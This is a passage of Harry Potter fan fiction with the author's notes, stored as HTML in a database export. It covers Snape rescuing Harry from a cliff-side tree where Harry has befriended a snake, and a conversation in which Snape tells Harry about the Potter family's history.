you&#8217;re dead yourself. Quite tragic, it was.&#8221;</p>\n\n<p>Lily shook her head. &#8220;Sorry, Arabella. We come from another world, you see. And it&#8217;s quite different&#8230;for instance, in our world, Harry&#8217;s dead.&#8221; She smiled lightly. &#8220;But it&#8217;s nice to see familiar faces. We&#8217;ve already seen Severus, and Harry too&#8230;&#8221; Her voice trailed off.</p>\n\n<p>Arabella, who had become a good friend of Lily, frowned. It may have been almost fourteen years, but she could still read Lily like a book. For the most part, that is. &#8220;I assume Harry did not take it well-&#8221; She stopped. &#8220;That fits with what I witnessed this summer. Harry&#8217;s been a bit&#8230;<i>down</i>&#8230; lately.&#8221; But then she grinned. &#8220;Never mind, Harry&#8217;ll come around. It&#8217;s marvellous to see you both again.&#8221;</p>\n\n<p>Minerva nodded shortly. &#8220;Yes. It <i>is</i> nice to see you again&#8230;you said Severus-?&#8221;</p>\n\n<p>Lily blushed. &#8220;Yes, James decided to go exploring early this morning&#8230;and unfortunately ran into Severus. You can imagine what a surprise he had.&#8221; She answered dryly, standing up. </p>\n\n<p>&#8220;Yes, I believe that.&#8221; Minerva stated dryly, but she soon softened her voice. &#8220;Actually, you should have seen him after your death. He was quite shaken up. He looked worse than usual, as hard as it is to believe, and he ran around in sort of a trance. I&#8217;m sure he probably would have tried to kill himself if he hadn&#8217;t been watched. He fainted once during a class and spent the week in the Hospital Wing. He hadn&#8217;t eaten for days and close to starvation.&#8221; She shook her head. &#8220;He&#8217;d been through so much and your death just about pushed him over the edge&#8230;&#8221;</p>\n\n<p>Lily looked horrified. &#8220;Oh my, poor Severus. I never knew how much he needed me&#8230;oh, that&#8217;s terrible. I-&#8221;</p>\n\n<p>&#8220;Don&#8217;t worry, Lily dear, he&#8217;s normal now. Or at least as normal as he ever was. I still say he&#8217;s in love with you, though. He&#8217;s never married nor even dated.&#8221; Arabella added, glancing mischievously at her old friend. She grinned as Lily squirmed, blushing.</p>\n\n<p>&#8220;Severus never dated, Bella, and he certainly was never in love with me. We were friends. That&#8217;s it.&#8221;</p>\n\n<p>&#8220;Really? I seem to remember a young woman coming to visit me right before she was to be married, hinting about a certain friend of hers who seemed like he wanted to be more than friends. And if I remember it correctly, it was-&#8221;</p>\n\n<p>&#8220;Don&#8217;t be ridiculous, Bella. I have never felt anything more than friendship for Severus and he never has either. Let&#8217;s just leave it.&#8221; Lily said strongly, interrupting Arabella.</p>\n\n<p>Arabella nodded. &#8220;Whatever you say, dear.&#8221; She knew enough not to dig anymore. But it was true that Lily and Severus had been the best of friends once and it was obvious to see that Severus was in love with her. Lily had ever said anything about her feelings and she was happily married to James. There was no reason to open old wounds. However, she still <i>did</i> wish to get to the bottom of the situation sometime. Especially when James Potter wasn&#8217;t standing there, scowling and tapping his foot.</p>\n\n<p>Dumbledore let the scene play and then coughed. &#8220;Yes, Minerva, Bella. I am glad to see you both here. As it is, Minerva, Harry will be staying here the rest of the summer, so you need not stay with Arabella. And Severus is looking for Harry. I suspect he&#8217;ll return soon. </p>\n\n<p>&#8220;But what I believe needs to be discussed is how long you two are staying, Lily, James, and Voldemort&#8217;s current situation. I shall brief Lily and James now. Arabella, if you would please find me a copy of the <i>Daily Prophet</i>?&#8221;</p>\n\n<p>***</p>\n\n<p>After dangling in the air for what must have been hours, in Harry&#8217;s point of view, he decided to at least do <i>something</i>. Harry sighed, holding on tightly. &#8220;I should have <i>known</i> this was going to happen to me.&#8221; He muttered, eyeing the snake. &#8220;How did you get here anyway?&#8221;</p>\n\n<b><p>A mongoose was after me and I crawled up into the tree to get away. Unfortunately it was a Jumping Mongoose, so I had to crawl into a hole. I got stuck there. Thankfully, the mongoose left.</p>\n\n</b>\n\n<p>Harry nodded, sighing. &#8220;Wonderful. Well, we&#8217;re <i>both</i> stuck here now.&#8221;</p>\n\n<p>The snake began to hiss in laughter. <i>\n\n</i><b>You look funny</b>. </p>\n\n<p>Harry shrugged as best he could. <b>&#8220;What do you mean?&#8221;</b></p><b>\n\n</b>\n\n<b></b><p><b>Your hands are turning purple.</b>\n\n</p>\n\n<b><i></i></b><i></i><p><i><b>&#8220;Purple?&#8221; </b></i>Harry almost let go of the tree in surprise, but luckily remembered where he was, holding on as tightly as he could. </p>\n\n<b><p>Yes. This is a Colour-Changing Tree. Warm-blooded creatures that come in contact with it turn different colours.</p>\n\n</b>\n\n<b></b><p><b>&#8220;Wonderful.&#8221; </b>Harry sighed. <b>&#8220;I just hope <i>someone</i> comes to get me&#8230;except the fact that <i>no</i> one knows where I am.&#8221;</b></p><b>\n\n</b>\n\n<b><p>How did you come here? I sense that something happened&#8230;not very pleasant for you.</p>\n\n</b>\n\n<p>Harry stared at the snake. <b>&#8220;How did-how do you know?&#8221;</b></p><b>\n\n</b>\n\n<p>If snakes could grin, Sal would have. <b>I can read emotions, Harry Potter, as well as read minds, though if you shield yourself, as you are now doing, I can&#8217;t Read very much.</b></p><b>\n\n</b>\n\n<p>Harry stared at the snake, digesting the new information. <i>If Sal can read minds&#8230;what *else* can he do?</i>\n\n<b>&#8220;So you can read minds. And you know my name. I suppose you know everything else about me then?&#8221;</b></p><b>\n\n</b>\n\n<b></b><p><b>No. You shield your mind, Harry Potter. I cannot Read a shielded mind. But you *are* right, Harry Potter, I *have* heard about you. It&#8217;s hard not to, when there are only two living Parseltongues living in the world right now.</b> Sal flicked his tongue out. <b>You are troubled, but not because of Great Snake Demon, Harry Potter. There is something *nearer* to you, that troubles you.</b></p><b>\n\n</b>\n\n<b></b><p><b>&#8220;You&#8217;re right, it&#8217;s actually my parents.&#8221; </b>Harry conceded, bowing his head, before he realised that looking down might not be such a good idea after all. <b>&#8220;Great Snake Demon? Is that Voldemort?&#8221;</b></p><b>\n\n</b>\n\n<b><p>No, that is not Tom Riddle, your Voldemort. We snakes go by names, not titles, Harry Potter. Or at least <i>true </i>snakes do. Great Snake Demon is a Demon to us snakes. I believe she goes by the name of Nagini to you humans. In reality, she is no snake but a demon, trapped in a snake&#8217;s form. She gives Riddle her power.</p>\n\n</b>\n\n<b></b><p><b>&#8220;Wait&#8230;does that mean Voldemort&#8217;s not really a Parseltongue? Then how did <i>I </i>get it?&#8221; </b>If Voldemort wasn&#8217;t born one, did that mean he could pass the power off to someone else? And what did Sal mean by &#8216;true snakes&#8217;? <b>&#8220;And what&#8217;s a true snake?&#8221;</b></p><b>\n\n</b>\n\n<b><p>A true snake is a snake that listens to itself, a snake who does its specific job. A true snake, Harry Potter, does not call a man by another name, but his own. A true snake does not accept broken promises, Harry Potter. I am a true snake, because I Read what I Sense, following my place as <i>Stellar-Lunar</i> snake. I have decided to join you Harry Potter, not because you have requested my help, but for the exact opposite. <i>You </i>are also a true snake, never giving up, always trying, and attempting to reach your goals <i>alone</i>. For only <i>you </i>can reach your goals, and only with out help.</p>\n\n<p>And no, Harry Potter, Riddle was also a Parseltongue by birth. The power he receives from Nagini is only enough to give him the senses of a snake and power to cast so many powerful spells with out ever tiring. Nagini uses Voldemort as much as he uses her-she feeds off his soul little by little. He was not always such an evil being- it started when he was a young man, starting off to journey the world and learn what he could. He was drawn to Nagini for her promise of power, she was drawn to him because he was a powerful wizard, lustful for power, but also naive&#8230; </p>\n\n</b>\n\n<b></b><p><b>&#8220;That can&#8217;t be true! Voldemort was <i>always </i>evil! At sixteen he released a Basilisk on the students! And then he blamed Hagrid for it! How can he <i>not</i> be evil?&#8221; </b>But as Harry said the words, he remembered his summer, and the dreams he had had&#8230;</p>\n\n<b></b><p><b>You know the answer, Harry Potter, I sense it within you. Now, please tell me about your self</b>.</p>\n\n<p>Harry sighed, knowing what Sal meant. <b>&#8220;Well, I was born on 31 July, 1980 to James and Lily Potter-&#8221;</b></p><b>\n\n</b>\n\n<b></b><p><b>No, Harry Potter, I know your history. I want what you <i>feel</i>, and who you <i>are</i>, not insignificant facts about you.</b> The snake curled itself tightly around the branch, flicking his tongue out to feel Harry&#8217;s hand. </p>\n\n<p>Harry felt oddly comforted when Sal flicked his hand. He decided to tell him what he knew&#8230;and he hoped Sal knew how hard it was going to be for him. <b>&#8220;Well- I guess I should begin when I got home this summer&#8230;&#8221;</b></p><b>\n\n</b>\n\n<p>***</p>\n\n<p>Severus glared at the damn trees, fingering his wand. There was a spell, he knew, to find the path again, but he didn&#8217;t feel like using it. Not to mention that he wasn&#8217;t exactly sure of the incantation. But there was another way to find Harry Potter, and did not require any magic on his part. He sighed deeply and pulled an amulet out of his robes. </p>\n\n<p>The amulet was black, held in a silver setting. But as Severus gripped it, the centre turned clear as a small object was displayed. A fine strand of raven coloured hair, upon more observation, belonging to a certain person who was currently missing. &#8220;Show me.&#8221; He whispered, as the amulet began to glow a bright white, turning slowly to gold. &#8220;Show me where the boy is.&#8221; And the amulet jumped into the air; casting a light overhead, following a signature only know to itself.</p>\n\n<p>He rarely used the amulet and he was the only person who knew of its existence. Not even did the Headmaster know of it, and Severus was going to keep it that way. Until he remembered something, one person who <i>did</i> know about the amulet. Lily. After all, it was she who had given it to him, all those years ago, when Harry was not even one month of age.</p>\n\n<p>He followed it through the forest, cursing. The problem with the amulet was that it didn&#8217;t pay attention to normal things like walls and bushes, but went straight through them. Therefore Severus had top spend some time blowing holes through bushes, stepping through swampy patches and generally getting dirty. It was not something he was thrilled about.</p>\n\n<p>So he followed the amulet through the forest, muttering obscenities as various things got in his way. At least it was daylight, so no animals were really out and about. But still&#8230;the Forbidden Forest was also not a very pleasant place in the daylight either and he didn&#8217;t relish his time there.</p>\n\n<p>It wasn&#8217;t until he got to a cliff that the amulet stopped and flew back to his hand. Severus glanced around. A cliff, with a steep ravine underneath and bushy trees and shrubs on both sides. Including one tree that had apparently fell and was balancing on the cliff by a few roots.</p>\n\n<p>As Severus neared the tree, he noticed a bright light shining from it. Now, it <i>could</i> have been the sun, but as the sun was in the other direction, it had to be something else. And normal people don&#8217;t shine in a bright golden light. But Severus had witnessed many displays of Power in his life and he knew a Power glow when he saw it. </p>\n\n<font size="2">\n\n</font><p>However, there was no possible way for it to be that bright. James and Lily Potter had the brightest Power he had ever seen before-and this exceeded their glow by the hundreds. This glow was so bright that he could not look into it. There was no other explanation. It <i>had</i> to be Potter.</p>\n\n<p>He inched over to the ledge before covering his eyes and yelling downwards. &#8220;Potter?&#8221;</p>\n\n<p>&#8220;Oh <i>no</i>, Professor, it&#8217;s Voldemort. Who else would I be?&#8221; Severus almost fell of the cliff himself. Was that <i>sarcasm</i> Potter had just used? Perfectly pulled off sarcasm? No Gryffindor ever was sarcastic. No one. Only Slytherins seemed to be prone to sarcasm.</p>\n\n<p>Plus it was Potter. Harry James Potter, Golden Boy of Gryffindor. Potter sure couldn&#8217;t be capable of sarcasm. He was a stuck-up hero, but sarcasm was a trait Severus had never witnessed in him. So how was it that suddenly after four years of teaching that brat, he was suddenly sprouting off sarcasm?</p>\n\n<p>&#8220;Potter, I should take points away for that remark. Do you want any help?&#8221;</p>\n\n<p>&#8220;Of course not, Professor. I just <i>love</i> dangling from a branch over a ravine. It&#8217;s really the highlight of my life.&#8221; There it was again. </p>\n\n<p>&#8220;Fine Potter. Get rid of that glare.&#8221; Severus shielded his eyes, as he slowly took a step downwards to a ledge right underneath the cliff. This certainly wasn&#8217;t how he had expected to spend his day. He had been thinking more in the direction of reading <i>Potions Quarterly</i> and stirring his various potions that took longer than a day to complete. Instead he was climbing off cliffs in the Forbidden Forest, trying to rescue Potter. It was turning out to be a wonderful day.</p>\n\n<p>&#8220;What glare?&#8221;</p>\n\n<p>Severus took a deep breath as he held on to a root. &#8220;Just&#8230;I don&#8217;t know Potter, just get rid of it!&#8221; He was slowly losing what little of patience he had. As he got closer to Potter&#8217;s level, he noticed something dangling on the branch talking to Potter. Soon the glare went away and he could actually truly look at Potter, though he didn&#8217;t necessarily want to.</p>\n\n<p>So he didn&#8217;t bother. He decided to look at the tree instead. Until Potter had to ask him if the glare was gone. Grudgingly he glanced over and nodded slightly. &#8220;Yes. Now I guess I&#8217;ll have to touch you, so take my hand and-&#8221;</p>\n\n<p>&#8220;No!&#8221; Though Severus was slightly glad that Potter had refused to touch his hand, for he wasn&#8217;t relishing the thought of touching Potter either, getting interrupted by Potter was just plain rude.</p>\n\n<p>&#8220;Now hear this, Potter, I&#8217;m the only person who&#8217;s going to be rescuing you today, so unless you would rather spend the night out here, you have to take my hand. And no, I don&#8217;t want to touch you either, but it&#8217;s the only way. I can&#8217;t use my wand without letting go of this root, which would mean I would fall as well. So <i>take my hand</i>.&#8221;</p>\n\n<p>&#8220;Trust me, Professor, I&#8217;m not thrilled about taking your hand either. But I&#8217;m not leaving without Sal. So you can forget it unless I can take him too.&#8221; Potter began to talk to <i>something</i> in that dratted tree of his. </p>\n\n<p>Forget his patience wearing thin, his patience had run <i>out</i>. &#8220;Potter, what in hell are you talking about? In case you&#8217;ve forgotten, we&#8217;re currently hanging over a cliff by mere <i>roots</i> in the <i>Forbidden Forest</i>! I don&#8217;t give a damn about what ever beast you&#8217;ve befriended yourself with, so if you want to get rescued, the time is <i>now</i>!&#8221;</p>\n\n<p>There. That ought to have scared Potter enough to make him forget whatever foolishness he had been prone to and to make him see sense. Too bad it wasn&#8217;t during the year or else he could have given detentions and taken off points. Oh well, there were many other ways to torture the boy. But his glee was short lived.</p>\n\n<p>&#8220;You know, if the Founder of your House heard you saying that, I doubt he would be very pleased. After all the emblem of Slytherin is a snake and seeing how Salazar Slytherin was one of the few Parseltongues in history, I&#8217;m sure he had an affinity to snakes.&#8221;</p>\n\n<p>He stared at Potter. That couldn&#8217;t possible mean that Potter had made friends with a snake. Though now he looked back, Potter <i>was</i> a Parseltongue. &#8220;Fine.&#8221; He spat out. &#8220;Then grab your <i>friend</i> and I&#8217;ll try a spell to reach you. Don&#8217;t blame me though if the spell fails and you fall to your death.&#8221;</p>\n\n<p>***</p>\n\n<p>&#8220;Let me get this straight. Fudge is such an idiot that he refuses to believe that Voldemort&#8217;s back?&#8221; James paced the floor. &#8220;Don&#8217;t get me wrong, I think everyone knows that Fudge is an idiot, but really, this takes the Pumpkin Pastry. Just <i>how</i> did he gat elected to Minister?&#8221;</p>\n\n<p>Minerva shrugged and placed the <i>Daily Prophet</i> back on the table. &#8220;Albus didn&#8217;t want it and there was no one else who really tried. Lucius Malfoy would have gladly taken the position, but at the time there was a bit of a fiasco over his involvement in the Dark Arts&#8230;&#8221;</p>\n\n<p>&#8220;That happened to take place right then when the Ministry elections were going on. A perfect plan, everyone who had ended up in Questioning for using the Dark Arts suddenly was taken in for more Questioning. The claim was that there had been some sort of mistake and someone who was supposed to be tried wasn&#8217;t. Of course, all suspects were held back from participating in any Ministry affairs during that period.&#8221; Arabella grinned. &#8220;It was perfect timing. There were no arrests made, because there had been no mistake in the sentencing, but there was a big furry at whom it might have been. It <i>did</i> stop a bunch of accused Death Eaters from becoming Minister, however.&#8221;</p>\n\n<p>Lily shook her head. &#8220;Honestly, that&#8217;s unbelievable. In our world I won&#8217;t say that Fudge is a saint, but he at least acknowledges that there are Death Eaters and Voldemort running around.&#8221;</p>\n\n<p>The tone in the room became grim as all thought on the importance of this matter. The fact that Fudge wasn&#8217;t accepting that Voldemort had risen again was a deep blow for the side of the Light, especially for the five people in the room. Even though Lily and James did not belong in the world, they had been key players in the fight against Voldemort and still were in their world. They knew the various horrors. They knew the gravity of this news.</p>\n\n<p>After a few minutes of silence where James flipped through past editions of the Daily Prophet and Lily read over his shoulder, Dumbledore cleared his throat. &#8220;Lily, James, I am not sure if your arrival here is a blessing or hindrance. Yes, it is wonderful to have both of you here, but there is not much you can do, after being dead in this world for close to fourteen years.&#8221;</p>\n\n<p>&#8220;We&#8217;ll do anything, Pro-Albus. Lily and I-we&#8217;re used to fighting Voldemort. In this world you had at least a few years of peace. In our world the Darkness never really stopped. And now that Voldemort&#8217;s returned in this world, we&#8217;ll be glad to help. I&#8217;m sure there are differences, including how many Aurors you have, and who the Aurors actually are. But we know some things and we both can fight.&#8221;</p>\n\n<p>Dumbledore looked at them both. &#8220;And I am glad to have you both on our side once again. But there is no possible way you two can fight looking like yourselves. Not only would the Ministry not believe you, but Voldemort would also be alerted. No, there must be some other way.&#8221;</p>\n\n<p>&#8220;Perhaps changing our appearances? I know that James can do so and I can as well, though not as good as he can. But we could try, right, James?&#8221; Lily smiled, her eyes gleaming. &#8220;Then we could stay as long as needed and help and no one would know the difference. James and I definitely have experience with fighting Voldemort and we could get to know Harry some.&#8221;</p>\n\n<p>Minerva nodded, as did Arabella. &#8220;That would definitely work, Albus. And it would help the cause. After the deaths of so many from the last war, we definitely need to recruit more. And I doubt that many are going to be very experienced. After all, we only have so few original members who fought against Voldemort in the last war.&#8221;</p>\n\n<p>&#8220;Ah, but Minerva, perhaps you should remember that a new perspective is also a good thing. We will also begin recruiting new. The two eldest Weasley sons have already agreed to help and I am sure that more people are willing to fight for our cause. Just think of all the Aurors.&#8221; Dumbledore shook his head. &#8220;We will need all the help we can get and as long as there is a will, there will always be a way.&#8221;</p>\n\n<p>&#8220;Yes, we certainly don&#8217;t want everyone to behave like Alastor.&#8221; Arabella shook her head, remembering various endeavours of his.</p>\n\n<p>James looked insulted. &#8220;I <i>liked</i> Uncle Allie&#8217;s way of doing things sometimes. It was always good for a laugh.&#8221;</p>\n\n<p>Minerva chuckled. &#8220;Really, James, I think Alastor would be highly insulted if you called him Uncle Allie now. From what I remember, he hates being called that.&#8221;</p>\n\n<p>James shrugged and grinned. &#8220;I know. That&#8217;s why I call him that.&#8221;</p>\n\n<p>&#8220;Ahem.&#8221; They all turned towards Dumbledore. &#8220;At the moment, what is important is what we are to do with Lily and James. It is nearing the end of August and I suggest that since we have had no other applicants for the Defence Against the Dark Arts job, except Severus, we let you two have it. How are your teaching skills, Lily and James?&#8221; </p>\n\n<p></p>\n\n<p>****</p>\n\n<p>Even though I got less than 20 reviews&#8230;more like 17 or so, I decided to post this. And you can forget that rule, it was just to give you guys a bit of incentive. However, I&#8217;ll make a deal with you. I think Chapter 11 is when I&#8217;m going to be writing the Sorting and such. If I hit 150 before then, or even 175 or 200(here&#8217;s *really* hoping), I&#8217;ll put you in the Sorting, or somewhere else, if you so please&#8230;for instance on the Hogwarts Express if you review before Chapter 10, or something. If you *do* hit 150 or another number in intervals of 25 from it, e-mail me and I&#8217;ll write you in. Don&#8217;t expect anything big, but e-mail and we&#8217;ll discuss where I am in the Chapter/story and where you can be fit in.</p>\n\n<p>Anyway, I think I&#8216;ll post Chapter 8 on my group tomorrow right after posting this, not the entire thing, but the beginning at least, but I&#8216;m not sure. I&#8217;m working on Chapter 9, but my problem is that even though I out-lined the chapter, I don&#8217;t stay on the out-line. This means that during my vacation with practically no computer access&#8230;perhaps some, but not much, the chapter isn&#8217;t going to get typed. So it&#8217;s probably going to be a wait.</p>\n\n<p>I&#8217;ll also planning on posting an interlude of what&#8217;s happening in Lily and James&#8217;s world sometime on my Yahoo! Group. I don&#8217;t know when I&#8217;m going to get that posted though, so that might be awhile as well. </p>\n\n<p>Anyway, like I said I&#8217;ll probably post the beginning of Chapter 8 on my Yahoo group and wait until I&#8217;m back to post the entire *edited* thing on ff.net. Chapter 9 will follow sometime after.</p>\n\n<p>-Myra10/13/03</p>\n\n '),
	(137, 8, ' <p>I realised I had a bit of confusion last chapter-not on the chapter, but on the AN up above. The thing is that on Fanfiction.net I have just posted Chapter 9 and I have 184 reviews. So I answered their questions here and kind of letft out the portkey ones since on porkey I\'m quite far behind, or was until I started to post weekly a bit ago. What I meant last year with the \'writing people in\' and telling me their age, name, nationality/whatever, was that when I hit a reivew number with an interval of twenty-five (25, 50, 75, 100, 125, 150, 175), I will give that person a small part in the story. Say as one of the first years getting Sorted, someone on the Hogwarts Express...something like that. So if you end up leaving my 75th review, for instance, <i>please</i> leave me your e-mail so I can contact you about your reward.</p>\n\n<p>Since this chapter was posted on fanfiction,net first, these are <i>their</i> review responses. However, most of it\'s clarifying the plot, so I\'m leaving it up to you to read it or not. <i>Fanfiction.net Reviews:</i> I keep getting asked about Harry&#8217;s different powers. Wait and they will be explained, eventually. In this chapter, there&#8217;s a bit mentioned but not really. See, even at the moment <i>Harry</i> doesn&#8217;t really understand them, he just uses them occasionally with out realising. And the Glare last chapter, came from Harry and means that he has the Power, which again will be explained later, though I can&#8217;t tell when since it seems whenever I try to write an out-line or say a chapter, I don&#8217;t tend to actually hold to it&#8230;example is that Chapter 9 is supposed to finish up the summer and Chapter 10 is supposed to be September 1<sup>st</sup>&#8230;whereas now Chapter 11 still is on the same day that Chapter 9 is on&#8230;</p>\n\n<p>About the glare, I think I explained that in the above paragraph, <i>Romm</i>. As to how long he was hanging there, I wanted to leave it open, but it&#8217;s at least a few hours. Especially since Harry&#8217;s conversation trails off at the end of the scene, which means they talked a lot more than what you read&#8230;unfortunately I can&#8217;t give that all away what was said. But yes, they definitely had time to talk, plus Sal&#8217;s a Seeing snake, which means to an extent he can read Harry&#8217;s emotions and feelings, so he&#8217;s privy to Harry&#8217;s inner-thoughts and what they talk about isn&#8217;t normal-how are you- stuff, but more intimate.</p>\n\n<p>About the conversation being awkward at the beginning, good, actually. <i>Smile7499</i>, I <i>guess </i>you mean the transition from the normal small talk to Harry&#8217;s feelings and Voldemort? If that&#8217;s not what you meant, please tell me. At the beginning, Harry and Sal are just making small talk until Sal suddenly Reads Harry and then they start talking more and get closer. So even though it wasn&#8217;t really <i>meant</i> to be confusing at the beginning, I&#8217;m glad it turned out to be, because it&#8217;s more cryptic then. And <i>Hexe605</i>, glad you like the twist. That twist will namely be playing a role later in the fic and watch out for any other mentions of Voldemort&#8230;they&#8217;re important.</p>\n\n<p><i>Portkey</i> review responses: The entire Harry-Lily-James relationship <i>will</i> improve, but you have to give it time. First, this chapter is on the same day as the last four chapters before it, so basically Harry\'s only gotten mere hours with his parents and he\'s having a few problems. This is actually where Hermione comes in, because part of her duties in this fic are to help Harry get used to Lily and James, which is going to take a <i>lot</i> of work, since Harry has no interest to at the moment. But they will get used to each other and then become fairly close. It\'s just a bit of a ways off...</p>\n\n<p>As for James punching Vernon...who says he isn\'t? There will be a visit to Petunia and Vernon by James and Lily and Harry, but unfortunately it\'s a way off. But the Dursleys definitely won\'t be in the same condition the Potters found them in...</p>\n\n<p>As for <i>HERMIONE</i>: She will come. Chapter 11 actually, and in Chapter 12 I <i>hope</i> to start school. Ron will also be in Chapter 11, as well as the rest of the Weasleys. But it\'s fine if you don\'t like ROn, since I don\'t really like him either. He\'s okay but here he\'s just not really there after a few chapters, after Harry does something accidentally that makes speaking Parseltongue in front of the whole school almost nothing. Anyway for <i>Hermione</i>, Chapter 11 holds a big Hermione part, so wait for it. It <i>will</i> come.</p>\n\n<p><i>billyvoodoo42</i>, though I sort of explained what I meant already, sure I can use you. Thinking of names for the Sorting is going to be a dig task and I could definitely use more names. Any preferences on House?</p>\n\n<p>I think I cleared pretty much everything up for now. Though on fanfiction.net I post every other week, for the time being I\'m posting every week until I get caught up, which should hopefully be next weekend. With that said, I present to you Chapter 8.</p>\n\n<p>***</p>\n\n<p>Chapter 8: A Talk and Disguises</p>\n\n<p>***</p>\n\n<p>After rescuing Harry, though both Severus and Harry were loathe to use that particular word, they spent the time trying to get out of the Forbidden Forest. But neither of them knew the way, nor did Sal, who wasn&#8216;t prone to talking in other people&#8216;s presence anyway, so Harry couldn&#8216;t ask if perhaps Sal just <i>might</i> recognise one tree or another. So the three of them trudged on, left with their thoughts.</p>\n\n<p>&#8220;Why did you help me?&#8221; Harry suddenly asked, keeping his eyes on the ground. He had no idea why that question had just popped out, but it had and now he had to pay the consequences as Professor Snape almost went flying. </p>\n\n<i></i><p><i>&#8220;What?&#8221; </i>Severus Snape <i>definitely </i>wasn&#8217;t used to having a conversation with Harry Potter, or any Potter for that matter. The boy hated him, with good reason and he didn&#8217;t like him either. So why in Merlin&#8217;s name was Potter trying to start a conversation with him?</p>\n\n<p>&#8220;Why did you save me? You hate me and I don&#8217;t necessarily like you much either. There was no reason to.&#8221; Harry kept walking, trying to keep the emotion out of his voice. There was a difference, he had noticed, in his Potions Master. Perhaps it had to do with the Lily and James. Or perhaps with Voldemort. But nonetheless, it was there. A small, hardly noticeable difference.</p>\n\n<p>&#8220;What, and let you eventually loose your grip and fall to your death? I&#8217;ll admit-I certainly don&#8217;t like and think the school would more often be better off without your trouble-seeking person, but I don&#8217;t want you dead and I don&#8217;t hate you, Potter.&#8221; Severus caught up with Harry, finding the words he said true. He truly did <i>not </i>hate Potter. He disliked him, true, but it was more Potter&#8217;s behaviour than Potter himself. But then, wasn&#8217;t there a famous Philosopher that wrote that hating one&#8217;s behaviour is hating one themselves? What really <i>does</i> make up a person? He scowled. He&#8217;d have to check his books on Philosophy. &#8220; I dislike you.&#8221;</p>\n\n<p>&#8220;But you hated my parents, and you always are saying how similar I am to my father. So, in conclusion, you hate me.&#8221; Harry did not miss a beat. It was true. Professor Snape was always putting James Potter down and, at the same time, comparing Harry to him. But then, Harry realised, he was seeing another side to his hated Professor. Maybe&#8230;Harry didn&#8217;t dare finish his sentence.</p>\n\n<p>&#8220;I didn&#8217;t hate James, Potter. I hated Black, I&#8217;ll admit that. But I didn&#8217;t hate James. You could say, at times I almost felt&#8230;well, sorry for him. Not very often, but there were a few times. But the majority of the time I disliked him. And Lily&#8230;God, Potter, I <i>never</i> hated Lily. How could I? She was probably the only true friend I had.&#8221; Severus couldn&#8217;t understand why he was talking about this to Potter, but he didn&#8217;t stop. He <i>couldn&#8217;t, </i>he realised. He had to get the feelings off his chest.</p>\n\n<p>Perhaps it was seeing Lily again. Or perhaps due to Voldemort. Or the timing was just right, when he had his guard down. But in any case, he couldn&#8217;t stop. He had to finish.</p>\n\n<p>&#8220;James&#8230;he was, well&#8230;everyone thought he was perfect. He was a good student, but never really gave his best. He slacked off, which bothered me, because there were students who tried a lot harder than he did and never got the grades. He always had a group of followers, following him around. Like he was God Himself, or something similar. He was rich, and always had the best of everything. He was cocky, thought he was invincible. He played these pranks all the time, and often on the un-popular students. They were meant to be funny, but they were cruel, Potter. If you already have few friends, and then the next morning you wake up, not being able to talk without burping, or having green hair, or smelling&#8230;&#8221; Severus shook his head. &#8220; But he was always viewed as the best. A perfect role model, perfect grades, perfect. He wasn&#8217;t even close.</p>\n\n<p>&#8220;I was never close to James, Potter, so I don&#8217;t know all the details. All I know is what I observed my self, from rumours and from Lily. Lily was always a good friend of James, and, for the most part, a peace keeper between the two of us. So, I wouldn&#8217;t call myself an authority on the situation, but I <i>do </i>know enough.</p>\n\n<p>&#8220;James&#8217; mother was depressed, Potter. Your grandmother was <i>not </i>a happy woman. It had to do with James&#8217;s father, who-well, I&#8217;m not really sure. All I know is that James barely knew his father, if at all. Apparently the two divorced before James was born and his mother left. There was some-well, these are mostly rumours, but people said that James&#8217;s father was in the Dark Arts and his mother left because of that. That she couldn&#8217;t let her feelings go, even though he was Dark. Or, rumours that she had never married at all, that the ring she wore was a fake. Or she had had an affair with her own brother. I don&#8217;t know what was true, or not, but I <i>do </i>know that in any case, she had problems.</p>\n\n<p>&#8220;Like I said, I didn&#8217;t know James&#8217;s father. But the rumours were enough. Death Eater, Dark Wizard, Vampire, Demon, I remember one rumour where a Seventh Year-we were in our Sixth- Slytherin said his father was Voldemort himself. Apparently there was a picture that showed the Dark Lord during his Hogwarts years, and I admit, there <i>is </i>a bit of a resemblance. Not much, but the hair colour and the blue specks in James&#8216;s eyes. <i>That </i>was preposterous, but it <i>did </i>cause rumours and James was called &#8216;Dark Heir&#8217; and &#8216;Dark Prince&#8217; for a few weeks.</p>\n\n<p>&#8220;Then there was his Grandfather, who disliked being called so and was instead called &#8216;Uncle&#8217;. He had raised his younger sister for years, until she graduated Hogwarts and disappeared almost a year later. He never recovered, it was said, but treated his own daughter as if she was his lost sister. Basically he was a pathetic man who wouldn&#8217;t let go of his past. But then the rumours started that she really <i>was </i>his sister, somehow sixteen years in the future. Take into account that he had also lost his wife young and had to raise his son on his own. Then the fact that his daughter suddenly appears out of no where. He was probably the most normal, though, out of all of them. He was a bit off, because of losing his wife and sister, but then he regained a daughter and grandson, so it worked out. </p>\n\n<p>&#8220;And your great-uncle. He was-well, <i>different </i>than his family. Potters were always known as powerful Light wizards, who always married young and for life. They often were Aurors or at least somewhat involved with Defence against the Dark Arts. They taught it or joined the Ministry to fight against it&#8230; And then Brendan Potter came along. He went in to brooms&#8230;and he travelled all over. He was a bit of a womaniser, really&#8230;never married, but there was talk. Of course, he never had a child- in such an old family, to have a child out of wedlock would be scandalous. But he never married, which was odd in the Potter family, because most of the Potters married the parallel Head Student. Lily married James, Anthony married McKenna, Brighton married Madelia, the line goes on. But Brendan never married, nor produced an Heir. It was considered good that James was born, or else there would have been no one to continue the line. Brendan got a reputation&#8230;let&#8217;s just say that I wouldn&#8216;t trust him with anything too important. It&#8217;s kind of odd really, with a mother like he had, you&#8217;d expect him to be a bit more sensible, even though he could barely remember her. He <i>did </i>do some good things though&#8230;he helped work the Nimbus Company up to standards. The Company had been in the family for years, but even though the brooms were always good quality-they never had that racing standard. Brendan Potter changed that.&#8221;</p>\n\n<p>&#8220;Wait&#8230;my family created Nimbus?&#8221; Harry couldn&#8217;t help himself from interrupting. He had been silent before, listening to his Professor talk about what he knew of his family&#8230;which wasn&#8217;t necessarily what he had expected. But he was rapturous in it, nonetheless. But to find out he was related to the man who had founded Nimbus&#8230;flying truly <i>was </i>in his blood.</p>\n\n<p>&#8220;Yes. How do you think Professor McGonagall got you a <i>Nimbus 2000 </i>for your first year? Let me tell you that the school wouldn&#8217;t pay for that-not for a top of the line racing broom, and neither would Nimbus just give a broom away. She just wrote a letter explaining your predicament and Daren Withers, the President of the Company and Miles Ferralin, who designs and builds the brooms, got together and sent you one. Daren was a great friend of Brendan Potter&#8217;s and Miles was a couple of years older than your father but knew him well. And the Firebolt is probably also one of their own brooms. 